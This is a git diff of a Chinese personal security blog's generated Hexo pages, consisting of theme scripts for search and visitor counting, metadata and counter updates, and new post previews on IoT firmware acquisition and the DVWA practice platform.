+      <span class="busuanzi-value" id="busuanzi_value_site_uv"></span>
+      
+    </span>
+  
+
+  
+    <span class="site-pv">
+      <i class="fa fa-eye"></i>
+      <span class="busuanzi-value" id="busuanzi_value_site_pv"></span>
+      
+    </span>
+  
+</div>
+
+
+
+
+
+
+
+
+        
+      </div>
+    </footer>
+
+    
+      <div class="back-to-top">
+        <i class="fa fa-arrow-up"></i>
+        
+      </div>
+    
+
+    
+
+  </div>
+
+  
+
+<script type="text/javascript">
+  if (Object.prototype.toString.call(window.Promise) !== '[object Function]') {
+    window.Promise = null;
+  }
+</script>
+
+
+
+
+
+
+
+
+
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  
+  
+    <script type="text/javascript" src="/lib/jquery/index.js?v=2.1.3"></script>
+  
+
+  
+  
+    <script type="text/javascript" src="/lib/fastclick/lib/fastclick.min.js?v=1.0.6"></script>
+  
+
+  
+  
+    <script type="text/javascript" src="/lib/jquery_lazyload/jquery.lazyload.js?v=1.9.7"></script>
+  
+
+  
+  
+    <script type="text/javascript" src="/lib/velocity/velocity.min.js?v=1.2.1"></script>
+  
+
+  
+  
+    <script type="text/javascript" src="/lib/velocity/velocity.ui.min.js?v=1.2.1"></script>
+  
+
+  
+  
+    <script type="text/javascript" src="/lib/fancybox/source/jquery.fancybox.pack.js?v=2.1.5"></script>
+  
+
+
+  
+
+
+  <script type="text/javascript" src="/js/src/utils.js?v=5.1.4"></script>
+
+  <script type="text/javascript" src="/js/src/motion.js?v=5.1.4"></script>
+
+
+
+  
+  
+
+
+  <script type="text/javascript" src="/js/src/affix.js?v=5.1.4"></script>
+
+  <script type="text/javascript" src="/js/src/schemes/pisces.js?v=5.1.4"></script>
+
+
+
+  
+
+  
+
+
+  <script type="text/javascript" src="/js/src/bootstrap.js?v=5.1.4"></script>
+
+
+
+  
+
+
+  
+
+
+
+
+	
+
+
+
+
+
+  
+
+
+
+
+
+  
+
+
+
+
+
+
+
+<!-- LOCAL: You can save these files to your site and update links -->
+    
+        
+        <link rel="stylesheet" href="https://jjeejj.github.io/css/gitment.css">
+        <script src="https://jjeejj.github.io/js/gitment.js"></script>
+    
+<!-- END LOCAL -->
+
+    
+
+    
+
+
+
+
+
+
+
+  
+
+  <script type="text/javascript">
+    // Popup Window;
+    var isfetched = false;
+    var isXml = true;
+    // Search DB path;
+    var search_path = "search.xml";
+    if (search_path.length === 0) {
+      search_path = "search.xml";
+    } else if (/json$/i.test(search_path)) {
+      isXml = false;
+    }
+    var path = "/" + search_path;
+    // monitor main search box;
+
+    var onPopupClose = function (e) {
+      $('.popup').hide();
+      $('#local-search-input').val('');
+      $('.search-result-list').remove();
+      $('#no-result').remove();
+      $(".local-search-pop-overlay").remove();
+      $('body').css('overflow', '');
+    }
+
+    function proceedsearch() {
+      $("body")
+        .append('<div class="search-popup-overlay local-search-pop-overlay"></div>')
+        .css('overflow', 'hidden');
+      $('.search-popup-overlay').click(onPopupClose);
+      $('.popup').toggle();
+      var $localSearchInput = $('#local-search-input');
+      $localSearchInput.attr("autocapitalize", "none");
+      $localSearchInput.attr("autocorrect", "off");
+      $localSearchInput.focus();
+    }
+
+    // search function;
+    var searchFunc = function(path, search_id, content_id) {
+      'use strict';
+
+      // start loading animation
+      $("body")
+        .append('<div class="search-popup-overlay local-search-pop-overlay">' +
+          '<div id="search-loading-icon">' +
+          '<i class="fa fa-spinner fa-pulse fa-5x fa-fw"></i>' +
+          '</div>' +
+          '</div>')
+        .css('overflow', 'hidden');
+      $("#search-loading-icon").css('margin', '20% auto 0 auto').css('text-align', 'center');
+
+      $.ajax({
+        url: path,
+        dataType: isXml ? "xml" : "json",
+        async: true,
+        success: function(res) {
+          // get the contents from search data
+          isfetched = true;
+          $('.popup').detach().appendTo('.header-inner');
+          var datas = isXml ? $("entry", res).map(function() {
+            return {
+              title: $("title", this).text(),
+              content: $("content",this).text(),
+              url: $("url" , this).text()
+            };
+          }).get() : res;
+          var input = document.getElementById(search_id);
+          var resultContent = document.getElementById(content_id);
+          var inputEventFunction = function() {
+            var searchText = input.value.trim().toLowerCase();
+            var keywords = searchText.split(/[\s\-]+/);
+            if (keywords.length > 1) {
+              keywords.push(searchText);
+            }
+            var resultItems = [];
+            if (searchText.length > 0) {
+              // perform local searching
+              datas.forEach(function(data) {
+                var isMatch = false;
+                var hitCount = 0;
+                var searchTextCount = 0;
+                var title = data.title.trim();
+                var titleInLowerCase = title.toLowerCase();
+                var content = data.content.trim().replace(/<[^>]+>/g,"");
+                var contentInLowerCase = content.toLowerCase();
+                var articleUrl = decodeURIComponent(data.url);
+                var indexOfTitle = [];
+                var indexOfContent = [];
+                // only match articles with not empty titles
+                if(title != '') {
+                  keywords.forEach(function(keyword) {
+                    function getIndexByWord(word, text, caseSensitive) {
+                      var wordLen = word.length;
+                      if (wordLen === 0) {
+                        return [];
+                      }
+                      var startPosition = 0, position = [], index = [];
+                      if (!caseSensitive) {
+                        text = text.toLowerCase();
+                        word = word.toLowerCase();
+                      }
+                      while ((position = text.indexOf(word, startPosition)) > -1) {
+                        index.push({position: position, word: word});
+                        startPosition = position + wordLen;
+                      }
+                      return index;
+                    }
+
+                    indexOfTitle = indexOfTitle.concat(getIndexByWord(keyword, titleInLowerCase, false));
+                    indexOfContent = indexOfContent.concat(getIndexByWord(keyword, contentInLowerCase, false));
+                  });
+                  if (indexOfTitle.length > 0 || indexOfContent.length > 0) {
+                    isMatch = true;
+                    hitCount = indexOfTitle.length + indexOfContent.length;
+                  }
+                }
+
+                // show search results
+
+                if (isMatch) {
+                  // sort index by position of keyword
+
+                  [indexOfTitle, indexOfContent].forEach(function (index) {
+                    index.sort(function (itemLeft, itemRight) {
+                      if (itemRight.position !== itemLeft.position) {
+                        return itemRight.position - itemLeft.position;
+                      } else {
+                        return itemLeft.word.length - itemRight.word.length;
+                      }
+                    });
+                  });
+
+                  // merge hits into slices
+
+                  function mergeIntoSlice(text, start, end, index) {
+                    var item = index[index.length - 1];
+                    var position = item.position;
+                    var word = item.word;
+                    var hits = [];
+                    var searchTextCountInSlice = 0;
+                    while (position + word.length <= end && index.length != 0) {
+                      if (word === searchText) {
+                        searchTextCountInSlice++;
+                      }
+                      hits.push({position: position, length: word.length});
+                      var wordEnd = position + word.length;
+
+                      // move to next position of hit
+
+                      index.pop();
+                      while (index.length != 0) {
+                        item = index[index.length - 1];
+                        position = item.position;
+                        word = item.word;
+                        if (wordEnd > position) {
+                          index.pop();
+                        } else {
+                          break;
+                        }
+                      }
+                    }
+                    searchTextCount += searchTextCountInSlice;
+                    return {
+                      hits: hits,
+                      start: start,
+                      end: end,
+                      searchTextCount: searchTextCountInSlice
+                    };
+                  }
+
+                  var slicesOfTitle = [];
+                  if (indexOfTitle.length != 0) {
+                    slicesOfTitle.push(mergeIntoSlice(title, 0, title.length, indexOfTitle));
+                  }
+
+                  var slicesOfContent = [];
+                  while (indexOfContent.length != 0) {
+                    var item = indexOfContent[indexOfContent.length - 1];
+                    var position = item.position;
+                    var word = item.word;
+                    // cut out 100 characters
+                    var start = position - 20;
+                    var end = position + 80;
+                    if(start < 0){
+                      start = 0;
+                    }
+                    if (end < position + word.length) {
+                      end = position + word.length;
+                    }
+                    if(end > content.length){
+                      end = content.length;
+                    }
+                    slicesOfContent.push(mergeIntoSlice(content, start, end, indexOfContent));
+                  }
+
+                  // sort slices in content by search text's count and hits' count
+
+                  slicesOfContent.sort(function (sliceLeft, sliceRight) {
+                    if (sliceLeft.searchTextCount !== sliceRight.searchTextCount) {
+                      return sliceRight.searchTextCount - sliceLeft.searchTextCount;
+                    } else if (sliceLeft.hits.length !== sliceRight.hits.length) {
+                      return sliceRight.hits.length - sliceLeft.hits.length;
+                    } else {
+                      return sliceLeft.start - sliceRight.start;
+                    }
+                  });
+
+                  // select top N slices in content
+
+                  var upperBound = parseInt('1');
+                  if (upperBound >= 0) {
+                    slicesOfContent = slicesOfContent.slice(0, upperBound);
+                  }
+
+                  // highlight title and content
+
+                  function highlightKeyword(text, slice) {
+                    var result = '';
+                    var prevEnd = slice.start;
+                    slice.hits.forEach(function (hit) {
+                      result += text.substring(prevEnd, hit.position);
+                      var end = hit.position + hit.length;
+                      result += '<b class="search-keyword">' + text.substring(hit.position, end) + '</b>';
+                      prevEnd = end;
+                    });
+                    result += text.substring(prevEnd, slice.end);
+                    return result;
+                  }
+
+                  var resultItem = '';
+
+                  if (slicesOfTitle.length != 0) {
+                    resultItem += "<li><a href='" + articleUrl + "' class='search-result-title'>" + highlightKeyword(title, slicesOfTitle[0]) + "</a>";
+                  } else {
+                    resultItem += "<li><a href='" + articleUrl + "' class='search-result-title'>" + title + "</a>";
+                  }
+
+                  slicesOfContent.forEach(function (slice) {
+                    resultItem += "<a href='" + articleUrl + "'>" +
+                      "<p class=\"search-result\">" + highlightKeyword(content, slice) +
+                      "...</p>" + "</a>";
+                  });
+
+                  resultItem += "</li>";
+                  resultItems.push({
+                    item: resultItem,
+                    searchTextCount: searchTextCount,
+                    hitCount: hitCount,
+                    id: resultItems.length
+                  });
+                }
+              })
+            };
+            if (keywords.length === 1 && keywords[0] === "") {
+              resultContent.innerHTML = '<div id="no-result"><i class="fa fa-search fa-5x" /></div>'
+            } else if (resultItems.length === 0) {
+              resultContent.innerHTML = '<div id="no-result"><i class="fa fa-frown-o fa-5x" /></div>'
+            } else {
+              resultItems.sort(function (resultLeft, resultRight) {
+                if (resultLeft.searchTextCount !== resultRight.searchTextCount) {
+                  return resultRight.searchTextCount - resultLeft.searchTextCount;
+                } else if (resultLeft.hitCount !== resultRight.hitCount) {
+                  return resultRight.hitCount - resultLeft.hitCount;
+                } else {
+                  return resultRight.id - resultLeft.id;
+                }
+              });
+              var searchResultList = '<ul class=\"search-result-list\">';
+              resultItems.forEach(function (result) {
+                searchResultList += result.item;
+              })
+              searchResultList += "</ul>";
+              resultContent.innerHTML = searchResultList;
+            }
+          }
+
+          if ('auto' === 'auto') {
+            input.addEventListener('input', inputEventFunction);
+          } else {
+            $('.search-icon').click(inputEventFunction);
+            input.addEventListener('keypress', function (event) {
+              if (event.keyCode === 13) {
+                inputEventFunction();
+              }
+            });
+          }
+
+          // remove loading animation
+          $(".local-search-pop-overlay").remove();
+          $('body').css('overflow', '');
+
+          proceedsearch();
+        }
+      });
+    }
+
+    // handle and trigger popup window;
+    $('.popup-trigger').click(function(e) {
+      e.stopPropagation();
+      if (isfetched === false) {
+        searchFunc(path, 'local-search-input', 'local-search-result');
+      } else {
+        proceedsearch();
+      };
+    });
+
+    $('.popup-btn-close').click(onPopupClose);
+    $('.popup').click(function(e){
+      e.stopPropagation();
+    });
+    $(document).on('keyup', function (event) {
+      var shouldDismissSearchPopup = event.which === 27 &&
+        $('.search-popup').is(':visible');
+      if (shouldDismissSearchPopup) {
+        onPopupClose();
+      }
+    });
+  </script>
+
+
+
+
+
+  
+
+  
+  <script src="https://cdn1.lncld.net/static/js/av-core-mini-0.6.4.js"></script>
+  <script>AV.initialize("EWwoJgHNdlj6iBjiFlMcabUO-gzGzoHsz", "x8FxDrYG79C8YFrTww9ljo8K");</script>
+  <script>
+    function showTime(Counter) {
+      var query = new AV.Query(Counter);
+      var entries = [];
+      var $visitors = $(".leancloud_visitors");
+
+      $visitors.each(function () {
+        entries.push( $(this).attr("id").trim() );
+      });
+
+      query.containedIn('url', entries);
+      query.find()
+        .done(function (results) {
+          var COUNT_CONTAINER_REF = '.leancloud-visitors-count';
+
+          if (results.length === 0) {
+            $visitors.find(COUNT_CONTAINER_REF).text(0);
+            return;
+          }
+
+          for (var i = 0; i < results.length; i++) {
+            var item = results[i];
+            var url = item.get('url');
+            var time = item.get('time');
+            var element = document.getElementById(url);
+
+            $(element).find(COUNT_CONTAINER_REF).text(time);
+          }
+          for(var i = 0; i < entries.length; i++) {
+            var url = entries[i];
+            var element = document.getElementById(url);
+            var countSpan = $(element).find(COUNT_CONTAINER_REF);
+            if( countSpan.text() == '') {
+              countSpan.text(0);
+            }
+          }
+        })
+        .fail(function (object, error) {
+          console.log("Error: " + error.code + " " + error.message);
+        });
+    }
+
+    function addCount(Counter) {
+      var $visitors = $(".leancloud_visitors");
+      var url = $visitors.attr('id').trim();
+      var title = $visitors.attr('data-flag-title').trim();
+      var query = new AV.Query(Counter);
+
+      query.equalTo("url", url);
+      query.find({
+        success: function(results) {
+          if (results.length > 0) {
+            var counter = results[0];
+            counter.fetchWhenSave(true);
+            counter.increment("time");
+            counter.save(null, {
+              success: function(counter) {
+                var $element = $(document.getElementById(url));
+                $element.find('.leancloud-visitors-count').text(counter.get('time'));
+              },
+              error: function(counter, error) {
+                console.log('Failed to save Visitor num, with error message: ' + error.message);
+              }
+            });
+          } else {
+            var newcounter = new Counter();
+            /* Set ACL */
+            var acl = new AV.ACL();
+            acl.setPublicReadAccess(true);
+            acl.setPublicWriteAccess(true);
+            newcounter.setACL(acl);
+            /* End Set ACL */
+            newcounter.set("title", title);
+            newcounter.set("url", url);
+            newcounter.set("time", 1);
+            newcounter.save(null, {
+              success: function(newcounter) {
+                var $element = $(document.getElementById(url));
+                $element.find('.leancloud-visitors-count').text(newcounter.get('time'));
+              },
+              error: function(newcounter, error) {
+                console.log('Failed to create');
+              }
+            });
+          }
+        },
+        error: function(error) {
+          console.log('Error:' + error.code + " " + error.message);
+        }
+      });
+    }
+
+    $(function() {
+      var Counter = AV.Object.extend("Counter");
+      if ($('.leancloud_visitors').length == 1) {
+        addCount(Counter);
+      } else if ($('.post-title-link').length > 1) {
+        showTime(Counter);
+      }
+    });
+  </script>
+
+
+
+  
+
+  
+<script>
+(function(){
+    var bp = document.createElement('script');
+    var curProtocol = window.location.protocol.split(':')[0];
+    if (curProtocol === 'https') {
+        bp.src = 'https://zz.bdstatic.com/linksubmit/push.js';
+    }
+    else {
+        bp.src = 'http://push.zhanzhang.baidu.com/push.js';
+    }
+    var s = document.getElementsByTagName("script")[0];
+    s.parentNode.insertBefore(bp, s);
+})();
+</script>
+
+
+  
+  
+
+  
+
+  
+
+  
+
+</body>
+</html>
diff --git a/categories/二进制/index.html b/categories/二进制/index.html
index 63ae9518..f5739541 100644
--- a/categories/二进制/index.html
+++ b/categories/二进制/index.html
@@ -79,13 +79,16 @@
 
 
 
+<meta name="description" content="没人比我更懂中医#MAGA">
 <meta property="og:type" content="website">
 <meta property="og:title" content="混元霹雳手">
 <meta property="og:url" content="https://cool-y.github.io/categories/二进制/index.html">
 <meta property="og:site_name" content="混元霹雳手">
+<meta property="og:description" content="没人比我更懂中医#MAGA">
 <meta property="og:locale" content="zh-Hans">
 <meta name="twitter:card" content="summary">
 <meta name="twitter:title" content="混元霹雳手">
+<meta name="twitter:description" content="没人比我更懂中医#MAGA">
 
 
 
@@ -156,7 +159,7 @@
       </a>
     </div>
       
-        <p class="site-subtitle">没人比我更懂中医#MAGA</p>
+        <p class="site-subtitle"></p>
       
   </div>
 
@@ -472,7 +475,7 @@
               <img class="site-author-image" itemprop="image" src="/images/avatar.png" alt="Cool-Y">
             
               <p class="site-author-name" itemprop="name">Cool-Y</p>
-              <p class="site-description motion-element" itemprop="description"></p>
+              <p class="site-description motion-element" itemprop="description">没人比我更懂中医#MAGA</p>
           </div>
 
           <nav class="site-state motion-element">
@@ -482,7 +485,7 @@
               
                 <a href="/archives/">
               
-                  <span class="site-state-item-count">19</span>
+                  <span class="site-state-item-count">21</span>
                   <span class="site-state-item-name">日志</span>
                 </a>
               </div>
@@ -493,7 +496,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">7</span>
+                  <span class="site-state-item-count">9</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -504,7 +507,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">39</span>
+                  <span class="site-state-item-count">43</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>
@@ -575,7 +578,7 @@
       <i class="fa fa-area-chart"></i>
     </span>
     
-    <span title="Site words total count">56.4k</span>
+    <span title="Site words total count">64.5k</span>
   
 </div>
 
diff --git a/categories/加密解密/index.html b/categories/加密解密/index.html
index dcf49c5a..24b39d57 100644
--- a/categories/加密解密/index.html
+++ b/categories/加密解密/index.html
@@ -79,13 +79,16 @@
 
 
 
+<meta name="description" content="没人比我更懂中医#MAGA">
 <meta property="og:type" content="website">
 <meta property="og:title" content="混元霹雳手">
 <meta property="og:url" content="https://cool-y.github.io/categories/加密解密/index.html">
 <meta property="og:site_name" content="混元霹雳手">
+<meta property="og:description" content="没人比我更懂中医#MAGA">
 <meta property="og:locale" content="zh-Hans">
 <meta name="twitter:card" content="summary">
 <meta name="twitter:title" content="混元霹雳手">
+<meta name="twitter:description" content="没人比我更懂中医#MAGA">
 
 
 
@@ -156,7 +159,7 @@
       </a>
     </div>
       
-        <p class="site-subtitle">没人比我更懂中医#MAGA</p>
+        <p class="site-subtitle"></p>
       
   </div>
 
@@ -368,7 +371,7 @@
               <img class="site-author-image" itemprop="image" src="/images/avatar.png" alt="Cool-Y">
             
               <p class="site-author-name" itemprop="name">Cool-Y</p>
-              <p class="site-description motion-element" itemprop="description"></p>
+              <p class="site-description motion-element" itemprop="description">没人比我更懂中医#MAGA</p>
           </div>
 
           <nav class="site-state motion-element">
@@ -378,7 +381,7 @@
               
                 <a href="/archives/">
               
-                  <span class="site-state-item-count">19</span>
+                  <span class="site-state-item-count">21</span>
                   <span class="site-state-item-name">日志</span>
                 </a>
               </div>
@@ -389,7 +392,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">7</span>
+                  <span class="site-state-item-count">9</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -400,7 +403,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">39</span>
+                  <span class="site-state-item-count">43</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>
@@ -471,7 +474,7 @@
       <i class="fa fa-area-chart"></i>
     </span>
     
-    <span title="Site words total count">56.4k</span>
+    <span title="Site words total count">64.5k</span>
   
 </div>
 
diff --git a/categories/杂七杂八/index.html b/categories/杂七杂八/index.html
index 34bb47cc..3299f7cb 100644
--- a/categories/杂七杂八/index.html
+++ b/categories/杂七杂八/index.html
@@ -79,13 +79,16 @@
 
 
 
+<meta name="description" content="没人比我更懂中医#MAGA">
 <meta property="og:type" content="website">
 <meta property="og:title" content="混元霹雳手">
 <meta property="og:url" content="https://cool-y.github.io/categories/杂七杂八/index.html">
 <meta property="og:site_name" content="混元霹雳手">
+<meta property="og:description" content="没人比我更懂中医#MAGA">
 <meta property="og:locale" content="zh-Hans">
 <meta name="twitter:card" content="summary">
 <meta name="twitter:title" content="混元霹雳手">
+<meta name="twitter:description" content="没人比我更懂中医#MAGA">
 
 
 
@@ -156,7 +159,7 @@
       </a>
     </div>
       
-        <p class="site-subtitle">没人比我更懂中医#MAGA</p>
+        <p class="site-subtitle"></p>
       
   </div>
 
@@ -368,7 +371,7 @@
               <img class="site-author-image" itemprop="image" src="/images/avatar.png" alt="Cool-Y">
             
               <p class="site-author-name" itemprop="name">Cool-Y</p>
-              <p class="site-description motion-element" itemprop="description"></p>
+              <p class="site-description motion-element" itemprop="description">没人比我更懂中医#MAGA</p>
           </div>
 
           <nav class="site-state motion-element">
@@ -378,7 +381,7 @@
               
                 <a href="/archives/">
               
-                  <span class="site-state-item-count">19</span>
+                  <span class="site-state-item-count">21</span>
                   <span class="site-state-item-name">日志</span>
                 </a>
               </div>
@@ -389,7 +392,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">7</span>
+                  <span class="site-state-item-count">9</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -400,7 +403,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">39</span>
+                  <span class="site-state-item-count">43</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>
@@ -471,7 +474,7 @@
       <i class="fa fa-area-chart"></i>
     </span>
     
-    <span title="Site words total count">56.4k</span>
+    <span title="Site words total count">64.5k</span>
   
 </div>
 
diff --git a/categories/理论学习/index.html b/categories/理论学习/index.html
index ada9bd4a..438780c5 100644
--- a/categories/理论学习/index.html
+++ b/categories/理论学习/index.html
@@ -79,13 +79,16 @@
 
 
 
+<meta name="description" content="没人比我更懂中医#MAGA">
 <meta property="og:type" content="website">
 <meta property="og:title" content="混元霹雳手">
 <meta property="og:url" content="https://cool-y.github.io/categories/理论学习/index.html">
 <meta property="og:site_name" content="混元霹雳手">
+<meta property="og:description" content="没人比我更懂中医#MAGA">
 <meta property="og:locale" content="zh-Hans">
 <meta name="twitter:card" content="summary">
 <meta name="twitter:title" content="混元霹雳手">
+<meta name="twitter:description" content="没人比我更懂中医#MAGA">
 
 
 
@@ -156,7 +159,7 @@
       </a>
     </div>
       
-        <p class="site-subtitle">没人比我更懂中医#MAGA</p>
+        <p class="site-subtitle"></p>
       
   </div>
 
@@ -368,7 +371,7 @@
               <img class="site-author-image" itemprop="image" src="/images/avatar.png" alt="Cool-Y">
             
               <p class="site-author-name" itemprop="name">Cool-Y</p>
-              <p class="site-description motion-element" itemprop="description"></p>
+              <p class="site-description motion-element" itemprop="description">没人比我更懂中医#MAGA</p>
           </div>
 
           <nav class="site-state motion-element">
@@ -378,7 +381,7 @@
               
                 <a href="/archives/">
               
-                  <span class="site-state-item-count">19</span>
+                  <span class="site-state-item-count">21</span>
                   <span class="site-state-item-name">日志</span>
                 </a>
               </div>
@@ -389,7 +392,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">7</span>
+                  <span class="site-state-item-count">9</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -400,7 +403,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">39</span>
+                  <span class="site-state-item-count">43</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>
@@ -471,7 +474,7 @@
       <i class="fa fa-area-chart"></i>
     </span>
     
-    <span title="Site words total count">56.4k</span>
+    <span title="Site words total count">64.5k</span>
   
 </div>
 
diff --git a/categories/顶会论文/index.html b/categories/顶会论文/index.html
index c4079a90..e3da168b 100644
--- a/categories/顶会论文/index.html
+++ b/categories/顶会论文/index.html
@@ -79,13 +79,16 @@
 
 
 
+<meta name="description" content="没人比我更懂中医#MAGA">
 <meta property="og:type" content="website">
 <meta property="og:title" content="混元霹雳手">
 <meta property="og:url" content="https://cool-y.github.io/categories/顶会论文/index.html">
 <meta property="og:site_name" content="混元霹雳手">
+<meta property="og:description" content="没人比我更懂中医#MAGA">
 <meta property="og:locale" content="zh-Hans">
 <meta name="twitter:card" content="summary">
 <meta name="twitter:title" content="混元霹雳手">
+<meta name="twitter:description" content="没人比我更懂中医#MAGA">
 
 
 
@@ -156,7 +159,7 @@
       </a>
     </div>
       
-        <p class="site-subtitle">没人比我更懂中医#MAGA</p>
+        <p class="site-subtitle"></p>
       
   </div>
 
@@ -420,7 +423,7 @@
               <img class="site-author-image" itemprop="image" src="/images/avatar.png" alt="Cool-Y">
             
               <p class="site-author-name" itemprop="name">Cool-Y</p>
-              <p class="site-description motion-element" itemprop="description"></p>
+              <p class="site-description motion-element" itemprop="description">没人比我更懂中医#MAGA</p>
           </div>
 
           <nav class="site-state motion-element">
@@ -430,7 +433,7 @@
               
                 <a href="/archives/">
               
-                  <span class="site-state-item-count">19</span>
+                  <span class="site-state-item-count">21</span>
                   <span class="site-state-item-name">日志</span>
                 </a>
               </div>
@@ -441,7 +444,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">7</span>
+                  <span class="site-state-item-count">9</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -452,7 +455,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">39</span>
+                  <span class="site-state-item-count">43</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>
@@ -523,7 +526,7 @@
       <i class="fa fa-area-chart"></i>
     </span>
     
-    <span title="Site words total count">56.4k</span>
+    <span title="Site words total count">64.5k</span>
   
 </div>
 
diff --git a/css/main.css b/css/main.css
index e87a7e5f..98f1b395 100644
--- a/css/main.css
+++ b/css/main.css
@@ -1943,7 +1943,7 @@ pre .javascript .function {
   width: 4px;
   height: 4px;
   border-radius: 50%;
-  background: #d55cff;
+  background: #03ffb5;
 }
 .links-of-blogroll {
   font-size: 13px;
diff --git a/index.html b/index.html
index 3c401672..89aec5d4 100644
--- a/index.html
+++ b/index.html
@@ -79,13 +79,16 @@
 
 
 
+<meta name="description" content="没人比我更懂中医#MAGA">
 <meta property="og:type" content="website">
 <meta property="og:title" content="混元霹雳手">
 <meta property="og:url" content="https://cool-y.github.io/index.html">
 <meta property="og:site_name" content="混元霹雳手">
+<meta property="og:description" content="没人比我更懂中医#MAGA">
 <meta property="og:locale" content="zh-Hans">
 <meta name="twitter:card" content="summary">
 <meta name="twitter:title" content="混元霹雳手">
+<meta name="twitter:description" content="没人比我更懂中医#MAGA">
 
 
 
@@ -157,7 +160,7 @@
       </a>
     </div>
       
-        <p class="site-subtitle">没人比我更懂中医#MAGA</p>
+        <p class="site-subtitle"></p>
       
   </div>
 
@@ -296,6 +299,381 @@
   
   
 
+  <article class="post post-type-normal" itemscope itemtype="http://schema.org/Article">
+  
+  
+  
+  <div class="post-block">
+    <link itemprop="mainEntityOfPage" href="https://cool-y.github.io/2019/07/24/获取固件/">
+
+    <span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
+      <meta itemprop="name" content="Cool-Y">
+      <meta itemprop="description" content>
+      <meta itemprop="image" content="/images/avatar.png">
+    </span>
+
+    <span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
+      <meta itemprop="name" content="混元霹雳手">
+    </span>
+
+    
+      <header class="post-header">
+
+        
+        
+          <h1 class="post-title" itemprop="name headline">
+                
+                <a class="post-title-link" href="/2019/07/24/获取固件/" itemprop="url">获取固件的几种方法</a></h1>
+        
+
+        <div class="post-meta">
+          <span class="post-time">
+            
+              <span class="post-meta-item-icon">
+                <i class="fa fa-calendar-o"></i>
+              </span>
+              
+                <span class="post-meta-item-text">发表于</span>
+              
+              <time title="创建于" itemprop="dateCreated datePublished" datetime="2019-07-24T11:49:28+08:00">
+                2019-07-24
+              </time>
+            
+
+            
+
+            
+          </span>
+
+          
+            <span class="post-category">
+            
+              <span class="post-meta-divider">|</span>
+            
+              <span class="post-meta-item-icon">
+                <i class="fa fa-folder-o"></i>
+              </span>
+              
+                <span class="post-meta-item-text">分类于</span>
+              
+              
+                <span itemprop="about" itemscope itemtype="http://schema.org/Thing">
+                  <a href="/categories/IoT/" itemprop="url" rel="index">
+                    <span itemprop="name">IoT</span>
+                  </a>
+                </span>
+
+                
+                
+              
+            </span>
+          
+
+          
+            
+          
+
+          
+          
+             <span id="/2019/07/24/获取固件/" class="leancloud_visitors" data-flag-title="获取固件的几种方法">
+               <span class="post-meta-divider">|</span>
+               <span class="post-meta-item-icon">
+                 <i class="fa fa-eye"></i>
+               </span>
+               
+                 <span class="post-meta-item-text">阅读次数&#58;</span>
+               
+                 <span class="leancloud-visitors-count"></span>
+             </span>
+          
+
+          
+
+          
+            <div class="post-wordcount">
+              
+                
+                <span class="post-meta-item-icon">
+                  <i class="fa fa-file-word-o"></i>
+                </span>
+                
+                <span title="字数统计">
+                  962 字
+                </span>
+              
+
+              
+                <span class="post-meta-divider">|</span>
+              
+
+              
+                <span class="post-meta-item-icon">
+                  <i class="fa fa-clock-o"></i>
+                </span>
+                
+                <span title="阅读时长">
+                  4 分钟
+                </span>
+              
+            </div>
+          
+
+          
+
+        </div>
+      </header>
+    
+
+    
+    
+    
+    <div class="post-body" itemprop="articleBody">
+
+      
+      
+
+      
+        
+          
+          通过分析物联网设备遭受攻击的链条可以发现，黑客获取固件，把固件逆向成汇编或C程序语言后，能分析出设备的运行流程和网络行为，还能找到安全加密相关的密钥相关的信息。如果这些“有心人”没能获取到固件信息，他们也很难发现这些漏洞。从这一点看，物联网设备的安全性，在很大程度上决定于其固件的安全性。
+http:
+          ...
+          <!--noindex-->
+          <div class="post-button text-center">
+            <a class="btn" href="/2019/07/24/获取固件/#more" rel="contents">
+              阅读全文 &raquo;
+            </a>
+          </div>
+          <!--/noindex-->
+        
+      
+    </div>
+    
+    
+    
+
+    
+
+    
+
+    
+
+    <footer class="post-footer">
+      
+
+      
+
+      
+
+      
+      
+        <div class="post-eof"></div>
+      
+    </footer>
+  </div>
+  
+  
+  
+  </article>
+
+
+    
+      
+
+  
+
+  
+  
+  
+
+  <article class="post post-type-normal" itemscope itemtype="http://schema.org/Article">
+  
+  
+  
+  <div class="post-block">
+    <link itemprop="mainEntityOfPage" href="https://cool-y.github.io/2019/07/24/web-dvwa/">
+
+    <span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
+      <meta itemprop="name" content="Cool-Y">
+      <meta itemprop="description" content>
+      <meta itemprop="image" content="/images/avatar.png">
+    </span>
+
+    <span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
+      <meta itemprop="name" content="混元霹雳手">
+    </span>
+
+    
+      <header class="post-header">
+
+        
+        
+          <h1 class="post-title" itemprop="name headline">
+                
+                <a class="post-title-link" href="/2019/07/24/web-dvwa/" itemprop="url">DVWA黑客攻防平台</a></h1>
+        
+
+        <div class="post-meta">
+          <span class="post-time">
+            
+              <span class="post-meta-item-icon">
